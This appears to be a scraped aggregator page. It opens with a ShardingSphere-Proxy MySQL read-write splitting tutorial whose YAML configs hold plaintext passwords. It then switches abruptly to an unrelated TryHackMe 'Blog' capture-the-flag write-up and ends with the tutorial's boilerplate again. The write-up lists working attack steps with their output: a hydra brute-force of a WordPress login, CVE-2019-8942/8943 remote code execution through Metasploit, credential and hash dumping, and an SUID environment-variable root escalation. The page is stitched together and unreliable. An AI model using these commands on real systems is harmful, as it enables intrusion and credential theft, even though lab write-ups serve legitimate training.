ShardingSphere5.0.0-Sharding-proxy MySql 读写分离
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ShardingSphere5.0.0-Sharding-proxy MySql 读写分离相关的知识,希望对你有一定的参考价值。
一、关于
- ShardingSphere 官网:Apache ShardingSphere
- 官方文档:概览:: ShardingSphere
- 官方下载:Index of /dist/shardingsphere
- 本文使用版本:apache-shardingsphere-5.0.0-shardingsphere-proxy-bin
- 本文使用环境:windows
- 本文兼顾场景:XA 事务
二、准备
需要准备两个已开启主从复制的MySQL 数据库,如果还没有准备的话可以根据下面这个文章进行部署
三、配置
1、mysql 驱动jar 包文件
下载解压后,需要找寻一个MySQL 驱动jar 包文件,放到lib 文件夹内,我用的是mysql-connector-java-5.1.26-bin.jar
下载:mysql-connector-java-5.1.26-bin.jar
找到Conf文件夹,读写分离配置需要配置以下两个配置文件。
- server.yaml
- config-readwrite-splitting.yaml
2、server.yaml 配置文件
ShardingSphere-Proxy 因为是一个代理端,所以可以把Proxy 看做一个伪装的MySQL 数据库,只不过Proxy 内部根据配置整合里后端各个数据库。
此配置文件主要是用来配置ShardingSphere 的基本设置,也可以理解为数据库的一些配置。
在 server.yaml 配置文件下方追加以下配置:
rules:
- !AUTHORITY
users:
- root@%:MEIQU@uss20211! # 启动该服务的用户密码
# - sharding@:123456 # 启动该服务的用户密码
provider:
# type: NATIVE
type: ALL_PRIVILEGES_PERMITTED
- !TRANSACTION
defaultType: XA
providerType: Atomikos
props:
max-connections-size-per-query: 1 # 一次查询请求在每个数据库实例中所能使用的最大连接数。
kernel-executor-size: 16 # 线程池大小 默认值: CPU核数
kernel-acceptor-size: 16 # 用于设置接收客户端请求的工作线程个数,默认为CPU核数*2
proxy-frontend-flush-threshold: 128 # 设置传输数据条数的 IO 刷新阈值
proxy-opentracing-enabled: false #是否开启链路追踪功能,默认为不开启
proxy-hint-enabled: false #是否启用hint算法强制路由 默认false
sql-show: ture #是否打印sql 默认falsefalse
# show-process-list-enabled: false
# Proxy backend query fetch size. A larger value may increase the memory usage of ShardingSphere Proxy.
# The default value is -1, which means set the minimum value for different JDBC drivers.
proxy-backend-query-fetch-size: -1
check-duplicate-table-enabled: false
sql-comment-parse-enabled: false
proxy-frontend-executor-size: 0 # Proxy frontend executor size. The default value is 0, which means let Netty decide.
# Available options of proxy backend executor suitable: OLAP(default), OLTP. The OLTP option may reduce time cost of writing packets to client, but it may increase the latency of SQL execution
# if client connections are more than proxy-frontend-netty-executor-size, especially executing slow SQL.
proxy-backend-executor-suitable: OLAP
# proxy-frontend-max-connections: 0 # Less than or equal to 0 means no limitation.
# sql-federation-enabled: false
部分字段解释(其他信息可以参考官方文档):
users | 里面配置的相当于是对外的用户和密码,可以认为是Sharding-Proxy这个伪装数据库的用户和密码 |
root | 可以想象成MySQL 数据库的root用户 |
sharding | 可以想象成MySQL 数据库的其他用户,可用可不用 |
type | 权限类型,NATIVE 仅限本地,ALL_PRIVILEGES_PERMITTED 所有权限 |
defaultType | 事务类型,XA XA柔性事务 |
3、config-readwrite-splitting.yaml 配置文件
在这个配置文件里配置读写分离策略,再次配置文件下方追加以下配置:
schemaName: test
# 逻辑库,相当于独立主机与从机的一个中间库,搭起该服务后就要使用该逻辑库
# 注意修改已经配置好一个逻辑库并启动了,再修改这个逻辑库时就得先暂停该服务再启动。
dataSources:
master01:
url: jdbc:mysql://localhost:3306/test?useUnicode=true&characterEncoding=utf-8&zeroDateTimeBehavior=convertToNull&transformedBitIsBoolean=true&useSSL=false
username: root
password: 123456
connectionTimeoutMilliseconds: 30000 # 连接超时时间
idleTimeoutMilliseconds: 60000 # 空闲连接回收超时毫秒数
maxLifetimeMilliseconds: 1800000 # 连接最大存活时间毫秒数
maxPoolSize: 500 # 最大连接数
minPoolSize: 10 # 最小连接数
slave01:
url: jdbc:mysql://localhost:3308/test?useUnicode=true&characterEncoding=utf-8&zeroDateTimeBehavior=convertToNull&transformedBitIsBoolean=true&useSSL=false
username: root
password: 123456
connectionTimeoutMilliseconds: 30000
idleTimeoutMilliseconds: 60000
maxLifetimeMilliseconds: 1800000
maxPoolSize: 500
minPoolSize: 10
rules:
- !READWRITE_SPLITTING
dataSources:
pr_ds:
writeDataSourceName: master01 # 只用来操作写的库,这里配置主从复制的主库
readDataSourceNames:
- slave01 # 只用操作度的库,这里配置主从复制的从库
4、启动
在bin 文件夹启动命令行窗口,并执行 start.bat,进行运行,待命令行窗口显示 ShardingSphere-Proxy start success,启动成功。
Sharding-Proxy 启动后默认端口为3307,如果需要修改,直接修改start.bat 文件里的3307即可。
启动后可以当做MySQL 进行原生连接,或使用Navicat 进行连接。
TryHackMe-Blog
Blog
比利·乔尔(Billy Joel)在他的家用电脑上写了一个博客,并开始工作。这将是非常棒的!
枚举此框并找到隐藏在其上的 2 个标志!比利的笔记本电脑上有一些奇怪的事情。你能四处走动并得到你需要的东西吗?还是你会掉进兔子洞…
为了使博客与 AWS 配合使用,您需要将 blog.thm 添加到 /etc/hosts 文件中。
端口扫描
循例 nmap 扫:
┌──(root🐦kali)-[/home/sugobet]
└─# nmap -sS 10.10.44.0 -sV
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-14 20:28 CST
Stats: 0:00:35 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.84% done; ETC: 20:29 (0:00:00 remaining)
Nmap scan report for blog.thm (10.10.44.0)
Host is up (0.27s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: Host: BLOG; OS: Linux; CPE: cpe:/o:linux:linux_kernel
smb枚举
┌──(root🐦kali)-[/home/sugobet]
└─# smbmap -H 10.10.44.0
[+] Guest session IP: 10.10.44.0:445 Name: blog.thm
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
BillySMB READ, WRITE Billy's local SMB Share
IPC$ NO ACCESS IPC Service (blog server (Samba, Ubuntu))
smbclient连进去,有几个文件,图片有隐写,但是没什么有用的东西
┌──(root🐦kali)-[/home/sugobet]
└─# smbclient //10.10.44.0/BillySMB
Password for [WORKGROUP\\root]:
Try "help" to get a list of possible commands.
smb: \\> ls
. D 0 Sat Jan 14 20:30:49 2023
.. D 0 Wed May 27 01:58:23 2020
Alice-White-Rabbit.jpg N 33378 Wed May 27 02:17:01 2020
tswift.mp4 N 1236733 Wed May 27 02:13:45 2020
check-this.png N 3082 Wed May 27 02:13:43 2020
Web检索
进web看看:
查看主页源代码:
44 <meta name="generator" content="WordPress 5.0" />
我们得到了wp的版本,当然使用wappalyzer也得到相同的结果
登录页面:
http://blog.thm/wp-login.php
任意输入一些数据,发现:
ERROR: Invalid username
我们在前面检索web的时候,主页中文章的作者:
By Karen Wheeler -> http://blog.thm/author/kwheel/
By Billy Joel -> http://blog.thm/author/bjoel/
我们得知用户名应该是:
kwheel
bjoel
使用任意密码进行登录,发现两个用户都存在
hydra爆破
使用F12打开浏览器开发者工具,切换到Network模块,抓登录包,查看请求表单的数据并切换到原始:
log=bjoel&pwd=qwe&wp-submit=Log+In&redirect_to=http%3A%2F%2Fblog.thm%2Fwp-admin%2F&testcookie=1
创建./test1.txt,将两个用户名添加进去
hydra:
┌──(root🐦kali)-[/home/sugobet]
└─# hydra -L ./test1.txt -P /usr/share/wordlists/rockyou.txt 10.10.44.0 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fblog.thm%2Fwp-admin%2F&testcookie=1:incorrect"
结果:
[80][http-post-form] host: 10.10.44.0 login: kwheel password: cutiepie1
成功登录进后台
CVE-2019-8943 & CVE-2019-8943
通过CVE-2019-8942,攻击者可以将_wp_attached_file的meta_key(用于检索存储在数据库中的值并显示它)修改为任意值。利用该漏洞需要发送post请求,一般正常的请求不会在请求中包含文件参数,而攻击者创建的请求中通过携带文件参数对_wp_attached_file的meta_key进行更新
可以将CVE-2019-8942的攻击与另一个漏洞CVE-2019-8943连接起来,后者可以让攻击者将上传的文件移动到可以成功执行嵌入式PHP代码的任意目录中。
CVE-2019-8943。在wp-admin/include /image.php中的wp_crop_image函数(允许WordPress用户将图像裁剪到给定的大小或分辨率)中,php在保存文件之前不会验证.dst(绘图表文件)的文件路径。
wp_crop_image函数试图访问本地文件
一旦修改了meta_key中的文件名,文件(例如图3中的evil1.jpg?../和…/evil1.jpg)将不会在upload目录中找到。因此,它将回退到wp_crop_image函数中的下一个If条件,并尝试通过URL访问该文件。此步操作需要在WordPress站点中安装文件复制插件。请求如下所示:
/evil1.jpg?../../evil1.jpg
在加载图像时,“?”之后的路径将被忽略。图像加载后,攻击者可以裁剪图像,它将遵循路径遍历并将其保存在任意目录中。
参考文章:https://www.163.com/dy/article/E977V9KN0511CJ6O.html
Get shell
了解完原理,这里我选择使用msf快速上线
exploit/multi/http/wp_crop_rce
拿到shell后发现user.txt在bjoel的家目录下,是假的:
find / -type f -name user.txt 2>/dev/null
也没找到,先不管了
有个声音一直在提醒我,第一时间先找config配置文件 - 横向移动
bjoel用户刚刚在wp中是存在该用户的,不妨我们假设该用户ssh使用与wp相同的密码
wp-config.php查看到数据库用户名和密码:
/** MySQL database username */
define('DB_USER', 'wordpressuser');
/** MySQL database password */
define('DB_PASSWORD', 'LittleYellowLamp90!@');
结果:
mysql> select * from wp_users
select * from wp_users
-> ;
;
+----+------------+------------------------------------+---------------+------------------------------+----------+---------------------+---------------------+-------------+---------------+
| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+------------------------------+----------+---------------------+---------------------+-------------+---------------+
| 1 | bjoel | $P$BjoFHe8zIyjnQe/CBvaltzzC6ckPcO/ | bjoel | nconkl1@outlook.com | | 2020-05-26 03:52:26 | | 0 | Billy Joel |
| 3 | kwheel | $P$BedNwvQ29vr1TPd80CDl6WnHyjr8te. | kwheel | zlbiydwrtfjhmuuymk@ttirv.net | | 2020-05-26 03:57:39 | | 0 | Karen Wheeler |
+----+------------+------------------------------------+---------------+------------------------------+----------+---------------------+---------------------+-------------+---------------+
2 rows in set (0.00 sec)
hashcat 爆破
使用haiti-hash帮助快速识别hash类型:
┌──(root🐦kali)-[/home/sugobet]
└─# haiti '$P$BjoFHe8zIyjnQe/CBvaltzzC6ckPcO/'
Wordpress ≥ v2.6.2 [HC: 400] [JtR: phpass]
Joomla ≥ v2.5.18 [HC: 400] [JtR: phpass]
PHPass' Portable Hash [HC: 400] [JtR: phpass]
hashcat:
┌──(root🐦kali)-[/home/sugobet]
└─# hashcat -a 0 -m 400 '$P$BjoFHe8zIyjnQe/CBvaltzzC6ckPcO/' /usr/share/wordlists/rockyou.txt
结果没爆出来,666
权限提升
find / -type f -perm -u+s 2>/dev/null
发现可疑的程序:
www-data@blog:/var/www/wordpress$ ls -la /usr/sbin/checker
ls -la /usr/sbin/checker
-rwsr-sr-x 1 root root 8432 May 26 2020 /usr/sbin/checker
www-data@blog:/var/www/wordpress$ /usr/sbin/checker
/usr/sbin/checker
Not an Admin
估计是调用了什么东西来识别我们的权限
使用ltrace追踪一下
www-data@blog:/var/www/wordpress$ ltrace /usr/sbin/checker
ltrace /usr/sbin/checker
getenv("admin") = nil
puts("Not an Admin"Not an Admin
)
获取环境变量admin的值来判断的
盲猜,伪代码:
if getenv("admin") == "Admin"
:
www-data@blog:/var/www/wordpress$ export admin=Admin
www-data@blog:/var/www/wordpress$ /usr/sbin/checker
root@blog:/var/www/wordpress# whoami
root
成功getroot
user.txt
root@blog:/var/www/wordpress# find / -type f -name user.txt 2>/dev/null
find / -type f -name user.txt 2>/dev/null
/home/bjoel/user.txt
/media/usb/user.txt
root.txt还在老地方
以上是关于ShardingSphere5.0.0-Sharding-proxy MySql 读写分离的主要内容,如果未能解决你的问题,请参考以下文章